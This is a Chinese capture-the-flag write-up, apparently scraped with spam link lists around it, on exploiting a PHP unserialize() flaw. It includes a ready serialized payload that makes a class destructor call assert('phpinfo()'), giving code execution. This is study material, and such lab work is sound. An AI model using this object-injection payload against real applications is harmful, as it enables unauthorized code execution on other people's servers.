当前位置: 首页 > wzjs >正文

淘淘乐网站建设vs2013网站开发代码

淘淘乐网站建设,vs2013网站开发代码,网站网站建设报价,wordpress周期进入靶场 吓我一跳 查看源码 点击 审计 <?php// 定义一个名为 HelloPhp 的类&#xff0c;该类可能用于执行与日期格式化相关的操作 class HelloPhp {// 定义一个公共属性 $a&#xff0c;用于存储日期格式化的模板public $a;// 定义一个公共属性 $b&#xff0c;用于存储…

进入靶场

吓我一跳

查看源码

点击

审计

<?php// 定义一个名为 HelloPhp 的类,该类可能用于执行与日期格式化相关的操作
class HelloPhp
{// 定义一个公共属性 $a,用于存储日期格式化的模板public $a;// 定义一个公共属性 $b,用于存储要调用的函数名public $b;// 构造函数,当创建 HelloPhp 类的对象时会自动调用public function __construct(){// 将日期格式化模板 "Y-m-d h:i:s" 赋值给属性 $a// "Y-m-d h:i:s" 表示年-月-日 时:分:秒 的格式$this->a = "Y-m-d h:i:s";// 将 PHP 的日期函数名 "date" 赋值给属性 $b$this->b = "date";}// 析构函数,当对象被销毁时会自动调用public function __destruct(){// 将属性 $a 的值赋给局部变量 $a$a = $this->a;// 将属性 $b 的值赋给局部变量 $b$b = $this->b;// 调用以 $b 为函数名的函数,并将 $a 作为参数传递给该函数// 由于 $b 为 "date",$a 为日期格式化模板,所以这里实际上是调用 date 函数进行日期格式化// 最后将格式化后的日期字符串输出echo $b($a);}
}// 创建一个 HelloPhp 类的对象 $c
$c = new HelloPhp;// 检查 $_GET 超全局数组中是否存在名为 'source' 的参数
if (isset($_GET['source'])) {// 如果存在 'source' 参数,则使用 highlight_file 函数高亮显示当前 PHP 文件的源代码highlight_file(__FILE__);// 终止脚本的执行,并返回状态码 0die(0);
}// 使用 @ 符号抑制可能出现的错误信息
// 尝试对 $_GET 超全局数组中名为 "data" 的参数进行反序列化操作
// 并将反序列化后的结果赋值给变量 $ppp
@$ppp = unserialize($_GET["data"]);

我们需要通过get方式传参给data参数,并进行序列化操作

同时b包括函数名,a包括对应参数

system() 是 PHP 中的一个函数,其作用是执行外部程序,并将执行结果输出

但尝试了不行,换一个

assert() 函数在 PHP 中既可以用于调试和检查条件是否成立,也可以将传入的参数当作 PHP 代码来执行

此处就是利用了他的第二个性质

phpinfo() 函数用于输出 PHP 的配置信息

<?php
class HelloPhp
{public $a = "phpinfo()";public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);
?> 

O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo()";s:1:"b";s:6:"assert";}

 

 

 

http://www.dtcms.com/wzjs/599148.html

相关文章:

  • 清溪镇仿做网站python做网站的好处
  • 网站布局设计步骤哪个网站做动图
  • 怎么看一个网站的cms网站开发证
  • 宜昌网站建设平台网站的权重
  • 关键词推广方式网站建设seo 视频教程
  • 坊子网站建设设计素材下载网站
  • 做数学的网站鹤壁做网站公司
  • 建网站 多少钱做网站付款方式
  • 台州网站开发上海建设工程咨询网 首页
  • 网站建设公司电话销售客源凡科app制作
  • htmi 个人小网站 模板注册公司注册资金可以随便写吗
  • 网站推广营销应该怎么做ppt模板资源网站
  • 兰州网站0453信息网免费发布
  • 怎么制作网站主题临沂做网站企业
  • 为网站添加注册功能建筑网片的用途和作用有哪些
  • 在中国建设银行的网站上可以转账吗自学服装设计该怎么入手
  • 国外设计网站怎么登陆共享ip做网站
  • 苏州市住房建设局网站首页长沙竹叶网络科技有限公司
  • 域名访问网站的知识做网站平面一套多少钱
  • 网站优化过度的表现做营销网站建设价格
  • 网站添加模块湘潭seo优化首选
  • 贸易公司做网站有用吗成熟的网站怎么做seo推广
  • 哪方面的网站黄岛开发区做网站网络公司
  • 基于php网站开发环境WordPress允许用户删除评论
  • 苏州微网站制作做暖暖免费网站
  • 避免网站 404新版大都会app
  • 网站主机一般选哪种的网站如何做微信分享推广
  • 网站 模板 安装广州工商登记
  • 抓取网站访客qq代码手机怎么开网站
  • 深圳返利网站建设网站建设与管理赚钱吗